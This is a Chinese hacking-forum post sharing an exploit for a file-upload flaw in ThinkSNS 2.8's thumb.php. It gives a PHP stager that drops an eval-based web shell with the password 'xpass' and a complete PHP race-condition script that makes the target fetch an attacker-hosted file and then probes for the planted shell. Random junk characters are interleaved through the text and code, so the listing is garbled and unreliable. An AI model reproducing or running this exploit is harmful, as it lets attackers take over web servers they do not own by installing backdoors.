找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2399|回复: 0
打印 上一主题 下一主题

Thinksns2.8文件上传漏洞利用exp

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-4 16:12:23 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
漏洞版本
& N! y& ~4 S6 E& e存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过)1 ~4 s4 f( U. B
漏洞文件8 K( Q. d2 T0 E. O+ T7 [
存在漏洞的文件为:thumb.php
  |4 _+ Y& \! L5 I5 a+ |. B8 q作者:韦鲲鹏! X( k5 ?3 Z; F1 J5 k
1、        准备如下PHP文件并上传到服务器(自己的)。8 q& K# Q# P7 a( `: c
文件内容如下:' j1 ^% k8 P/ S. x9 M: {
<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>9 U  _0 }/ w* |3 r( T
2、        计算出临时的文件名:4 c+ B3 k7 R  `4 d4 }/ p
这里我们可以看文件的99行(刚刚是不是没注意呀!)。  b) Z) ]; E! I6 @# Z

& j. ^+ @8 u: B" p3、        上传临时文件。
( h9 o6 n6 P7 J9 n% `: M4、        访问临时文件。8 m' i# Y" E3 T* v# l
但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)- h  Z% S( F& ]$ J* J& C
Exploit文件内容如下:(这个我就不详细解释了)
. W! z* ~9 q6 B: ]<?php3 h: S6 M$ n2 }! n
error_reporting(0);
+ E) [+ C" |& m, @3 g2 d( ]) jset_time_limit(0);/ v; b0 d! O5 J) s. |
ini_set(“default_socket_timeout”, 5);
$ H% \1 J0 V& d1 W9 a% [# Wfunction http_send($host, $port, $headers) {
) |1 w7 o' `: E- y# ~+ C2 x% ?$fp = fsockopen($host, $port);
* ]( B% G: Q1 E* F) Z$ a* \7 Vif (!$fp) die(‘Connection -> fail’);2 M+ a, h! ^/ c& }/ P
fputs($fp, $headers);
8 W, q) w: s' {$ _return $fp;
2 f/ i! \0 |" r}" \; H/ t0 o; A( q, ]- F1 H# b
function http_recv($fp) {  X% M/ ^4 `) {" ~( H
$ret=”";
: k1 S% Z% X8 S, N, p  B+ l* N: Z) Hwhile (!feof($fp))* B- m% c- o: G2 a1 X
$ret.= fgets($fp, 1024);8 x# k  I3 z1 ]- i) h' E: V
fclose($fp);
0 U% t' n. f0 Y0 Jreturn $ret;1 z% W9 y9 q8 m- F( s7 A# b
}+ Q/ a7 r( S, j& w
print “\n#  ThinkSns Arbitrary File Upload   #\n”;, S  v! z/ N$ t* |0 ~3 t$ @2 U. U
print “# Discovered by 韦鲲鹏 #\n\n”;
8 y: e& }9 o6 qif ($argc < 4) {
0 H- d/ S: w! Rprint “Usage:   php <host> <path> <romote_url>\n”;
. H3 O5 r8 v3 Y! D9 Fprint “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
% H, v* X+ N+ T: w/ _" N, E3 w* j" Z, sdie();
/ ?* B! V) ]  h% \/ q% L2 A; l4 g6 V}
8 w7 m4 z+ ]3 i" U$host = $argv[1];
5 i3 C8 r5 U6 J$path = $argv[2];
8 {) q+ n5 C* S# x3 h& I$url = $argv[3];/ p# v3 C6 J8 I; S- B
$i=0;
6 {/ F; W6 g1 |/ f/ m//上传数据包
& Z$ x1 n/ n! l; O( |7 r8 P$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
" O9 b0 Z( w3 G+ @# H9 j5 P$ T$headers_up .= “Host: “.$host.”\r\n”;7 H  b8 X+ O, J& `
$headers_up .= “Connection: close\r\n\r\n”;. Y, H3 z- w8 b5 Y! v
echo $headers_up;
, b' T& K$ S9 P5 a3 p4 l7 ]) |//临时文件访问数据包4 c% K  m9 o# g
$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;
2 N6 ?3 ]/ v# `, C$ s+ |$headers .= “Host: “.$host.”\r\n”;
1 l9 [5 I! P0 I/ j2 g" W; b0 C5 u$headers .= “Connection: close\r\n\r\n”;
% N7 y$ Y2 M2 C  D6 |9 techo $headers;4 f, `1 s* }$ E% L5 {) b' x
while(++$i<10) {
0 M. n* Y* U' k: ]fclose(http_send($host, 80, $headers));
- ~! M$ A& t# i) v/ ~0 d}
# l. r! K* Q& v0 {8 n6 ufclose(http_send($host, 80, $headers_up));& _; T9 I& C" M6 ]6 x
while(++$i<50) {
1 u6 N- T3 c( _( B  X( B* U1 tfclose(http_send($host, 80, $headers));
( n- G0 h. ^  W: s  D8 [' ?}7 @7 s) Z- }" [
$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;" ]6 a1 ~6 ?4 C( H; G$ t* Q
$headers .= “Host: “.$host.”\r\n”;/ _4 Y# I, l( R; g- b
$headers .= “Connection: close\r\n\r\n”;  r3 f1 D2 g4 F
$res=http_recv(http_send($host, 80, $headers));! L7 ]- H6 e( d5 _4 Y9 q9 K
if(preg_match(‘/200 OK/’,$res)) {( A6 o3 [. J& c3 L1 I
print “Success!\n\n”;3 z# q0 e8 k3 o5 b. b
} else {5 I$ y1 z" ?, p6 }+ {
print “Fail!\n\n”;$ ?' n. b# V9 [7 W, e
}0 X; G4 ^) p3 e% l4 e
?>
* N' d% C& a5 G' W+ s+ c
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表